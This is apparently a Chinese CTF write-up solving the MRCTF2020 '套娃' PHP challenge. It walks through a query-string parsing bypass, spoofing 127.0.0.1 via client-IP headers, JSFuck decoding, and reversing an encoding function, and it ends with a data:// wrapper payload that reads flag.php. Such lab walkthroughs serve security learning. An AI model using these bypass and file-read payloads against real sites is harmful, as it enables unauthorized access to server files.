• [MRCTF2020]套娃 php字符串解析绕过,jsfuck编码


    进来看到代码

    1. <!--
    2. //1st
    3. $query = $_SERVER['QUERY_STRING'];
    4. if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
    5. die('Y0u are So cutE!');
    6. }
    7. if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
    8. echo "you are going to the next ~";
    9. }
    10. !-->

    意思就是我们在url中?后面的东西不能出现下划线和它的url编码,第二个if不能强等于23333又要匹配到23333

    字符串解析参考文章:

    利用PHP的字符串解析特性Bypass - FreeBuf网络安全行业门户

    经过尝试这两种可以绕过

    b%20u%20p%20t=23333%0A    //%20为空格url编码,%0A为回车url编码
    b%2eu%2ep%2et=23333%0A    //%2e为.

    进去过后页面显示ip不对,下面随便用一个伪造127.0.0.1即可

    X-Real-IP:

    X-Client-IP:

    X-Originating-IP:

    出现一串jsfuck码,有两种解码方式

    第一中F12打开控制台输入即可,如果有警告按提示输入即可解析

    第二种去这个网站解析

    CoderTab - JSUnFuck - Decode JSFuck Here

    post方式传递参数出现源码

    bp右键点击通过浏览器请求复制网址浏览器输入即可复制源码

    源码:

    1. error_reporting(0);
    2. include 'takeip.php';
    3. ini_set('open_basedir','.');
    4. include 'flag.php';
    5. if(isset($_POST['Merak'])){
    6. highlight_file(__FILE__);
    7. die();
    8. }
    9. function change($v){
    10. $v = base64_decode($v);
    11. $re = '';
    12. for($i=0;$i<strlen($v);$i++){
    13. $re .= chr ( ord ($v[$i]) + $i*2 );
    14. }
    15. return $re;
    16. }
    17. echo 'Local access only!'."
      "
      ;
    18. $ip = getIp();
    19. if($ip!='127.0.0.1')
    20. echo "Sorry,you don't have permission! Your ip is :".$ip;
    21. if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
    22. echo "Your REQUEST is:".change($_GET['file']);
    23. echo file_get_contents(change($_GET['file'])); }
    24. ?>

    代码解析:

    change函数的主要功能是将参数$v进行base64解码,并对解码后的结果进行进一步的处理。具体来说,函数使用一个循环迭代字符串$v的每个字符。在每次迭代中,函数将字符转换为ASCII码,然后加上$i乘以2的结果,再将得到的新的ASCII码转换回字符,并将其拼接到一个结果字符串$re中。

    最后,函数返回结果字符串$re

    if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' )老办法伪造ip,然后利用data伪协议写入数据传给2333即可

    我们要使$_GET['file'])的值为flag.php

    把change函数逆向一下得到v值为

    ZmpdYSZmXGI=

    PHP脚本:

    1. $str = '';
    2. $re = 'flag.php';
    3. for ($i=0;$i
    4. $str .= chr ( ord ($re[$i]) - $i*2 );
    5. }
    6. $str = base64_encode($str);
    7. echo "传入的v的值为:".$str;

    改变请求方式进行传值,payload;

    ?2333=data://text/plain,todat%20is%20a%20happy%20day&file=ZmpdYSZmXGI

    Client-IP: 127.0.0.1

  • 相关阅读:
    QT Android环境搭建 及 解决“Platfrom tools installed”等系列配置问题( 附QT、JDK、SDK、NDK网盘链接 )
    arm版Linux下安装大数据集群各种组件
    elastic 概述
    基于Bert迁移学习点击未知弹框
    001、JDK环境配置
    JUC并发编程学习笔记(十七)彻底玩转单例模式
    Visual Studio软件_MSC_VER值(MSVC编译器版本)的获取方法
    5分钟从掌握到精通---进制转化
    Android使用Navigation时如何获取fragment实例及齐公开方法和属性
    git安装与使用4.3
  • 原文地址:https://blog.csdn.net/weixin_73399382/article/details/140963289